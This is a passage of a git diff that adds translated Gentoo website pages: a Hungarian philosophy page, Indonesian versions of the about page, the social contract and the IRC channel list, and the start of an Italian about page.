+<e>ők</e> szeretnék. Az eszközeink célja, hogy használatuk örömet okozzon, és 
+ráébressze a felhasználót a Linux és a szabad szoftveres közösség gazdagságára, 
+valamint a szabad szoftverek rugalmasságára. Ez csak akkor valósulhat meg, ha 
+az eszközöket úgy alkotjuk meg, hogy azok tükrözzék és közvetítsék a 
+felhasználók akaratát, ugyanakkor nyitva hagyják lehetőséget a nyersanyagok (a 
+forráskód) végső formáját illetően. Ha egy adott eszköz a felhasználót a 
+feladatok egy bizonyos megoldására kényszeríti, akkor az az eszköz inkább a 
+felhasználó ellen van, mintsem érte. Mindannyian kerültünk már olyan 
+szituációba, amikor úgy éreztük, a rendelkezésünkre álló eszközök ránk 
+kényszerítik akaratukat. Ez pedig ellentétes a Gentoo filozófiájával.
+</p>
+
+<p>
+Másképpen fogalmazva, a Gentoo filozófiája arról szól, hogy jobb eszközöket 
+hozzunk létre. Ha egy eszköz tökéletesen végzi a dolgát, talán észre sem veszed 
+a jelenlétét, mert nem interferál semmivel, nem tudatja a jelenlétét veled, sem 
+nem kényszerít arra, hogy beleavatkozz a folyamatba, ha nem akarsz. Az eszköz 
+szolgálja tehát a felhasználót, s nem a felhasználó az eszközt.
+</p>
+
+<p>
+A Gentoo célja az, hogy közel ideális eszközöket alkossunk. Olyan eszközöket, 
+amelyek sok, eltérő céllal rendelkező különböző felhasználó igényeit elégítik 
+ki. Hát nem örülsz te is, amikor olyan eszközre bukkansz, ami pontosan azt 
+csinálja, amit elvársz tőle? Nem nagyszerű érzés? Küldetésünk tehát az, hogy 
+ezt az élményt minél több felhasználóhoz eljuttassuk.
+</p>
+
+<p>
+Daniel Robbins<br/>
+Korábbi fő fejlesztő
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/id/about.xml b/xml/htdocs/main/id/about.xml
new file mode 100644
index 00000000..56d4cfe6
--- /dev/null
+++ b/xml/htdocs/main/id/about.xml
@@ -0,0 +1,104 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Id: about.xml,v 1.1 2007/05/15 12:15:42 neysx Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="id">
+<title>Tentang Gentoo</title>
+<author title="Author">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Editor">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Translator">
+  <mail link="kucrut.dz@gmail.com">Dzikri Aziz</mail>
+</author>
+
+<abstract>
+Tentang Gentoo, sebuah tinjauan singkat.
+</abstract>
+
+<license/>
+
+<version>1.6</version>
+<date>2006-05-07</date>
+
+<chapter>
+<title>Tentang Gentoo</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Apa itu Gentoo?</title>
+<body>
+
+<p>
+Gentoo adalah sistem operasi bebas berbasis Linux atau FreeBSD yang dapat
+langsung dioptimasi atau dikustomisasi untuk setiap aplikasi yang diperlukan.
+Kebebasan pengaturan yang ekstrim, performa dan komunitas pengguna dan
+pengembang yang sangat bagus adalah simbol dari pengalaman Gentoo.
+</p>
+
+<p>
+erkat teknologi Portage, Gentoo dapat menjadi sebuah server ideal, tempat
+pengembangan, dekstop profesional, sistem untuk permainan, solusi
+<e>embedded</e> atau apa saja -- apapun yang anda inginkan. Karena tingkat
+penyesuaiannya yang hampir tidak terbatas, kami menyebut Gentoo sebagai
+<b>meta</b>distribusi.
+</p>
+
+</body>
+</section>
+<section>
+<title>Apa itu Portage?</title>
+<body>
+
+<p>
+<b>Portage</b> adalah jantung Gentoo, yang melaksanakan banyak fungsi-fungsi
+utama. Sebagai contoh, Portage adalah sistem <e>distribusi software</e> untuk
+Gentoo. Untuk mendapatkan software terbaru untuk Gentoo, anda hanya perlu
+mengetikkan satu perintah: <c>emerge --sync</c>. Perintah ini memerintahkan
+Portage untuk memperbarui "pohon Portage" lokal anda melalui internet. Pohon
+Portage lokal berisi koleksi lengkap dari skrip-skrip yang digunakan oleh
+Portage untuk menciptakan dan menginstal paket-paket terbaru Gentoo. Untuk saat
+ini, kami memiliki <uri link="http://packages.gentoo.org/categories">lebih dari
+10000 paket</uri> di pohon Portage kami, dengan pembaruan dan penambahan <uri
+link="http://packages.gentoo.org">yang dilakukan setiap saat</uri>.
+</p>
+
+<p>
+Portage juga merupakan sistem <e>pembangun dan penginstal paket</e>. Ketika
+anda ingin menginstal sebuah paket, anda hanya perlu mengetikkan <c>emerge
+namapaket</c>, dan Portage akan langsung membangun sebuah versi khusus dari
+paket yang anda inginkan dengan spesifikasi anda sendiri, mengoptimasinya untuk
+hardware anda dan memastikan agar semua fitur-fitur pilihan yang anda inginkan
+dari paket tersebut diikutsertakan -- dan yang tidak anda inginkan tidak
+diikutsertakan.
+</p>
+
+<p>
+Portage juga menjaga sistem anda tetap baru. Dengan mengetik <c>emerge -uD
+world</c> -- satu perintah -- anda dapat memastikan bahwa semua paket yang
+<e>anda</e> inginkan di sistem anda diperbarui secara otomatis.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/id/contract.xml b/xml/htdocs/main/id/contract.xml
new file mode 100644
index 00000000..484e39c2
--- /dev/null
+++ b/xml/htdocs/main/id/contract.xml
@@ -0,0 +1,144 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Id: contract.xml,v 1.3 2007/05/15 12:15:42 neysx Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="id">
+<title>Kontrak Sosial Gentoo Linux</title>
+
+<author title="Author">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Translator">
+  <mail link="kucrut.dz@gmail.com">Dzikri Aziz</mail>
+</author>
+
+<abstract>
+Dokumen ini berisi ..... untuk komunitas Gentoo tentang kebebasan software
+Gentoo, keterbukaan proses pengembangan Gentoo dan sumbangan kami kepada
+komunitas software bebas.
+</abstract>
+
+<license/>
+
+<version>1.10</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Kontrak Sosial Gentoo Linux</title>
+<section>
+<body>	
+
+<p>
+Kontrak sosial ini ditujukan untuk menjabarkan secara jelas ketentuan
+pengembangan Gentoo Linux secara umum dan standard tim pengembangan Gentoo
+Linux. Sebagian dari dokumen ini berasal dari <uri
+link="http://www.debian.org/social_contract">Kontrak Sosial Debian</uri>, dan
+secara umum hampir sama, kecuali beberapa bagian telah diperjelas dan
+diperluas, sedangkan beberapa bagian lainnya yang dianggap berlebihan telah
+dihapus. Segala komentar tentang kontrak ini akan diterima. Kirimkan
+komentar-komentar anda ke milis <mail
+link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Apa itu Gentoo?</title>
+<body>
+
+<p>
+Gentoo sendiri adalah sebuah koleksi dari ilmu pengetahuan bebas. Ilmu
+pengetahuan dalam konteks ini dapat didefinisikan sebagai dokumentasi dan
+<e>metadata</e> yang terkait dengan konsep yang relevan dengan sistem operasi
+dan komponen-komponennya, juga <uri
+link="http://www.fsf.org/philosophy/free-sw.html">software bebas</uri> yang
+disumbangkan oleh sejumlah pengembang kepada Proyek Gentoo.
+</p>
+
+<p>
+Gentoo, sistem operasi, diturunkan dari konsep dasar ilmu pengetahuan seperti
+yang dijelaskan di atas. Sistem operasi Gentoo harus memenuhi kebutuhan rumah
+sendiri. Dengan kata lain, sistem operasi ini harus mampu untuk membangun
+dirinya sendiri dari awal dengan menggunakan alat-alat dan metadata yang
+tersedia. Jika anda sebuah produk yang dikaitkan dengan proyek Gentoo resmi
+tidak dapat memenuhi kebutuhan ini, maka produk tersebut tidak bisa dianggap
+sebagai sistem operasi Gentoo.
+</p>
+
+<p>
+Daftar resmi berisi proyek Gentoo terdapat di <uri 
+link="http://www.gentoo.org/proj/en/metastructure/projects.xml">Gentoo
+Metastructure</uri>. Sebuah proyek Gentoo tidak harus menghasilkan sistem
+operasi Gentoo untuk dianggap sebagai proyek resmi.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux adalah dan akan tetap menjadi Software Bebas</title>
+<body>
+
+<p>
+Kami akan merilis kontribusi terhadap Gentoo Linux kami sebagai software bebas,
+menggunakan lisensi GNU General Public License versi 2 (atau yang lebih baru,
+tergantung	kebijaksanaan kami), atau lisensi Creative Commons - Attribution /
+Share Alike versi 2 (atau yang lebih baru, tergantung kebijaksanaan kami).
+Segala kontribusi luar terhadap Gentoo Linux (dalam bentuk sumber, binari,
+metadata atau dokumentasi yang dapat didistribusi secara bebas) dapat
+diikutsertakan ke dalam Gentoo Linux, dengan syarat kami secara legal diberi
+hak untuk melakukannya. Bagaimanapun juga, Gentoo Linux tidak akan pernah
+<b>bergantung</b> pada software yang tidak sesuai dengan GNU General Public
+License, GNU Lesser General Public License atau lisensi	lainnya yang
+diperkenankan oleh Open Source Initiative (<uri
+link="http://www.opensource.org/licenses/index.html">OSI</uri>).
+</p>
+
+<note>
+Kami sedang mempertimbangkan pasal di atas untuk mengharuskan
+segala komponen inti Gentoo Linux disesuaikan dengan lisensi yang
+diperkenankan oleh OSI <e>dan</e> Free Software Foundation
+(<uri link="http://www.gnu.org/">FSF</uri>).
+</note>
+
+</body>
+</section>
+<section>
+<title>Kami akan memberi kembali kepada komunitas Free Software</title>
+<body>
+
+<p>
+Kami akan mendirikan hubungan dengan penulis Free Software dan bekerja sama
+kapanpun memungkinkan. Kami akan mengirimkan perbaikan bug, penambahan,
+permintaan pengguna, dll kepada penulis software "asli" yang diikutsertakan di
+sistem kami. Kami juga akan mendokumentasi secara jelas kontribusi-kontribusi
+<e>kami</e> terhadap Gentoo Linux dan juga perbaikan-perbaikan atau
+perubahan-perubahan yang kami lakukan pada sumber-sumber luar yang digunakan
+oleh Gentoo Linux (dalam bentuk tambalan, "<e>sed tweak</e>" atau bentuk-bentuk
+lainnya). Kami mengakui bahwa perbaikan dan tambalan kami akan lebih berguna
+bagi komunitas Free Software yang besar jika didokumentasi dan dijelaskan
+secara jelas, karena tidak setiap orang memiliki waktu atau kemampuan untuk
+mengerti perubahan-perubahan pada tambalan-tambalan, <e>tweak</e>, dll.
+</p>
+
+</body>
+</section>
+<section>
+<title>Kami tidak akan menyembunyikan masalah-masalah</title>
+<body>
+
+<p>
+Kami akan tetap membuka <uri link="http://bugs.gentoo.org/">database laporan
+bug</uri> untuk publik setiap saat. Laporan yang dibuat oleh para pengguna akan
+secara langsung dapat dilihat oleh publik.
+</p>
+
+<p>
+Ada beberapa pengecualian yang kami lakukan ketika kami mendapatkan informasi
+terkait masalah keamanan dan hubungan antara para pengembang jika diminta untuk
+tidak mengumumkannya ke publik sebelum jangka waktu tertentu.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/id/irc.xml b/xml/htdocs/main/id/irc.xml
new file mode 100644
index 00000000..186fb9bb
--- /dev/null
+++ b/xml/htdocs/main/id/irc.xml
@@ -0,0 +1,442 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- $Id: irc.xml,v 1.1 2007/05/15 12:15:42 neysx Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="id">
+<title>Channel IRC Gentoo Linux</title>
+<author title="Editor">
+  Colin Morey
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="klasikahl@gentoo.org">Zack Gilburd</mail>
+</author>
+<author title="Editor">
+  <mail link="avenj@gentoo.org">Jon Portnoy</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="Translator">
+  <mail link="kucrut.dz@gmail.com">Dzikri Aziz</mail>
+</author>
+
+<abstract>
+Channel IRC resmi Gentoo
+</abstract>
+
+<license/>
+
+<version>1.21</version>
+<date>2007-03-22</date>
+
+<chapter>
+<title>Internet Relay Chat</title>
+<section>
+<body>
+
+<p>
+<b>Semua channel IRC resmi kami berada di <uri
+link="http://www.freenode.org/">freenode</uri>:</b>
+</p>
+
+<p>
+Semua channel kami diurus oleh pada pengembang Gentoo untuk dimanfaatkan oleh
+para pengguna dan kontributor, dan kami membukanya untuk semua kalangan. anda
+bebas untuk singgah di sana dan memperkenalkan diri anda, anggaplah tempat ini
+sebagai persinggahan ketika anda mencari pemecahan masalah yang anda hadapi
+atau jawaban dari pertanyaan anda tentang Gentoo Linux.
+</p>
+
+<p>
+Kami mengharapkan beberapa hal dari anda yang singgah di channel kami:
+</p>
+
+<ul>
+  <li>
+    Bersikap sopan dan dewasalah, dengan mengikuti <uri
+    link="http://www.gentoo.org/proj/en/council/coc.xml">Code of Conduct</uri>.
+  </li>
+  <li>
+    Bacalah topik ketika anda singgah di suatu channel, karena dari situ anda
+    bisa mendapatkan informasi yang sangat berharga!
+  </li>
+  <li>
+    Bot atau skrip yang berbicara tidak lagi diterima di kebanyakan channel.
+    Jika anda ragu, tanyakanlah.
+  </li>
+  <li>
+    Kami harap anda tidak menggunakan perintah <c>CTCP VERSION</c> atau yang
+    sejenisnya terhadap pengguna lain atau channel tanpa izin dari pihak yang
+    bersangkutan.
+  </li>
+  <li>
+    Perlu diketahui bahwa kami memiliki aturan untuk menggunakan bahasa yang
+    sopan di channel #gentoo, dan kami tidak mengizinkan umpatan dan caci-maki.
+  </li>
+</ul>
+
+<p>
+Perlu dicatat bahwa kami <b>tidak</b> menyediakan bantuan untuk distribusi
+turunan Gentoo Linux.
+</p>
+
+<table>
+<tr>
+  <th><b>Channe Umum &amp; Pengembangan</b></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo">#gentoo</uri></ti>
+  <th>Obrolan umum dan bantuan untuk pengguna</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ops">#gentoo-ops</uri></ti>
+  <th>Channel staff untuk #gentoo, membahas masalah-masalah channel</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-db">#gentoo-db</uri></ti>
+  <th>Diskusi terkait database dan paket.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-dev">#gentoo-dev</uri></ti>
+  <th>Diskusi khusus pengembangan</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-dev-help">#gentoo-dev-help</uri></ti>
+  <th>Ruang kerja penulis ebuild</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-doc">#gentoo-doc</uri></ti>
+  <th>Pengembangan dokumentasi Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-desktop">#gentoo-desktop</uri></ti>
+  <th>Pengembang &amp; pengguna, semua hal terkait desktop</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-security">#gentoo-security</uri></ti>
+  <th>Diskusi tentang keamanan Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-cluster">#gentoo-cluster</uri></ti>
+  <th>Gentoo Linux/Clustering</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-embedded">#gentoo-embedded</uri></ti>
+  <th>Embedded Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-games">#gentoo-games</uri></ti>
+  <th>Diskusi game <e>native</e> Gentoo Linux (bukan untuk Cedega/Wine)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-haskell">#gentoo-haskell</uri></ti>
+  <th>Paket-paket Haskell</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-hardened">#gentoo-hardened</uri></ti>
+  <th>Hardened Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-java">#gentoo-java</uri></ti>
+  <th>Obrolan terkait Java</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-kde">#gentoo-kde</uri></ti>
+  <th>Pemeliharaan paket KDE</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-laptop">#gentoo-laptop</uri></ti>
+  <th>Obrolan terkait laptop</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-netmail">#gentoo-netmail</uri></ti>
+  <th>Paket-paket e-mail</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-netmon">#gentoo-netmon</uri></ti>
+  <th>Paket-paket Network Monitoring</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-php">#gentoo-php</uri></ti>
+  <th>Diskusi/bantuan PHP Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-perl">#gentoo-perl</uri></ti>
+  <th>Semua hal tentang perl Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-portage">#gentoo-portage</uri></ti>
+  <th>Pengembangan Portage Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ruby">#gentoo-ruby</uri></ti>
+  <th>Ruby di Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-science">#gentoo-science</uri></ti>
+  <th>Proyek sains Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-server">#gentoo-server</uri></ti>
+  <th>Obrolan terkait server</th>
+</tr>
+<tr>
+  <ti><uri 
+  link="irc://irc.freenode.net/gentoo-userreps">#gentoo-userreps</uri></ti>
+  <th>
+    Di sinilah tempat anda mencari dan berbincang dengan <e>user
+    representatives</e>.
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-web">#gentoo-web</uri></ti>
+  <th>Segala hal tentang web- dan webapp (tentunya di Gentoo)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-voip">#gentoo-voip</uri></ti>
+  <th>Diskusi Voice over IP</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-vbox">#gentoo-vbox"</uri></ti>
+  <th>Bantuan dan pengembangan untuk virtualbox di gentoo</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Channel bantuan untuk platform tertentu</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-alpha">#gentoo-alpha</uri></ti>
+  <th>Gentoo Linux/Alpha</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-amd64">#gentoo-amd64</uri></ti>
+  <th>Gentoo Linux/AMD64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-arm">#gentoo-arm</uri></ti>
+  <th>Gentoo Linux/ARM</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-bsd">#gentoo-bsd</uri></ti>
+  <th>Gentoo *BSD</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-hppa">#gentoo-hppa</uri></ti>
+  <th>Gentoo Linux/HPPA</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-hurd">#gentoo-hurd</uri></ti>
+  <th>Gentoo Hurd</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ia64">#gentoo-ia64</uri></ti>
+  <th>Gentoo Linux/IA-64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-mips">#gentoo-mips</uri></ti>
+  <th>Gentoo Linux/MIPS</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-osx">#gentoo-osx</uri></ti>
+  <th>Gentoo Linux/OSX</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ppc">#gentoo-ppc</uri></ti>
+  <th>Gentoo Linux/PPC</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ppc64">#gentoo-ppc64</uri></ti>	 
+  <th>Gentoo Linux/PPC64</th>	 
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-sparc">#gentoo-sparc</uri></ti>
+  <th>Gentoo Linux/Sparc</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-x86">#gentoo-x86</uri></ti>
+  <th>Pengembangan Gentoo Linux/x86</th>
+</tr>
+</table>
+
+<table>
+<tr>
+ <th>Channel Proyek &amp; Subproyek</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-apache">#gentoo-apache</uri></ti>
+ <th>Pengembangan Apache di Gentoo</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-bugs">#gentoo-bugs</uri></ti>
+ <th>Acara Gentoo BugDay, Perbaikan Bug Gentoo</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-events">#gentoo-events</uri></ti>
+ <th>Perencanaan dan obrolan langsung selama acara berlangsung</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-eselect">#gentoo-eselect</uri></ti>
+  <th>Framework modular Gentoo untuk administrasi dan utilitas konfigurasi</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-installer">#gentoo-installer</uri></ti>
+ <th>Obrolan tentang Gentoo Linux Installer</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-kernel">#gentoo-kernel</uri></ti>
+ <th>Diskusi tentang kernel Gentoo</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-vps">#gentoo-vps</uri></ti>
+ <th>Obrolan tentang Virtual Private Server Gentoo</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-mirrors">#gentoo-mirrors</uri></ti>
+ <th>Obrolan tentang mirror dan administrasi Gentoo</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-releng">#gentoo-releng</uri></ti>
+ <th>Diskusi internal Gentoo Release Engineering</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-gwn">#gentoo-gwn</uri></ti>
+  <th>Majalah Mingguan Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-forums">#gentoo-forums</uri></ti>
+  <th>Obrolang tentang forum Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-commits">#gentoo-commits</uri></ti>
+  <th>Informasi Gentoo CVS/SVN commit</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-vdr">#gentoo-vdr</uri></ti>
+  <th>Obrolan terkait VDR dan DVB Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-lisp">#gentoo-lisp</uri></ti>
+  <th>Obrolan terkait Lisp Gentoo</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Channel untuk bahasa tertentu</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-au">#gentoo-au</uri></ti>
+  <th>Australia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-be">#gentoo-be</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-br">#gentoo-br</uri></ti>
+  <th>Português do Brasil</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo.cs">#gentoo.cs</uri></ti>
+  <th>česky a slovensky</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-cn">#gentoo-cn</uri></ti>
+  <th>简体中文</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo.de">#gentoo.de</uri></ti>
+  <th>Auf Deutsch</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-dk">#gentoo-dk</uri></ti>
+  <th>På Dansk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-el">#gentoo-el</uri></ti>
+  <th>Στα Ελληνικά</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-es">#gentoo-es</uri></ti>
+  <th>En español</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-fi">#gentoo-fi</uri></ti>
+  <th>Suomeksi</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoofr">#gentoofr</uri></ti>
+  <th>En français</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-id">#gentoo-id</uri></ti>
+  <th>Komunitas Pengguna Gentoo Indonesia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-in">#gentoo-in</uri></ti>
+  <th>Support for Indian Gentoo Users and Indic localization</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-it">#gentoo-it</uri></ti>
+  <th>In Italiano</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ja">#gentoo-ja</uri></ti>
+  <th>日本語で</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-nl">#gentoo-nl</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-no">#gentoo-no</uri></ti>
+  <th>På norsk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo.pl">#gentoo.pl</uri></ti>
+  <th>Po Polsku</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-pt">#gentoo-pt</uri></ti>
+  <th>Em Português</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ro">#gentoo-ro</uri></ti>
+  <th>Discuţii în limba română</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ru">#gentoo-ru</uri></ti>
+  <th>на русском языке</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-se">#gentoo-se</uri></ti>
+  <th>På svenska</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-tw">#gentoo-tw</uri></ti>
+  <th>使用繁體中文(台灣)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ua">#gentoo-ua</uri></ti>
+  <th>Українською</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-uk">#gentoo-uk</uri></ti>
+  <th>United Kingdom</th>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/it/about.xml b/xml/htdocs/main/it/about.xml
new file mode 100644
index 00000000..eb2b680c
--- /dev/null
+++ b/xml/htdocs/main/it/about.xml
@@ -0,0 +1,128 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/about.xml,v 1.15 2007/09/24 21:07:53 scen Exp $ -->
+
+<mainpage lang="it">
+<title>Una descrizione di Gentoo Linux</title>
+
+<author title="Autore originale">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Redazione">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Redazione">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Redazione">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Redazione">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Redazione">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Traduzione">
+  <mail link="emorelli@gentoo.it">Enrico Morelli</mail>
+</author>
+<author title="Traduzione">
+  <mail link="gentoo@virgilio.it">Shev</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>
+Una descrizione di Gentoo Linux.
+</abstract>
+
+<license/>
+
+<version>1.7</version>
+<date>2007-09-17</date>
+
+<chapter>
+<title>Gentoo Linux</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Che cosa è Gentoo Linux</title>
+<body>
+
+<p>
+Gentoo Linux è un sistema operativo free basato su Linux o FreeBSD, che può
+essere automaticamente ottimizzato e personalizzato per quasi ogni applicazione
+di cui possiate avere bisogno. Performance estreme, configurabilità e una
+comunità di utenti e sviluppatori di prim'ordine sono tutte caratteristiche del
+mondo Gentoo.
+</p>
+
+<p>
+Grazie ad una tecnologia chiamata Portage, Gentoo Linux può diventare un server
+sicuro e ideale, una workstation di sviluppo, un desktop professionale, un
+computer dedicato al gioco, una soluzione embedded o qualsiasi altra cosa
+desideriate.  Vista la sua illimitata adattabilità, Gentoo Linux viene definita
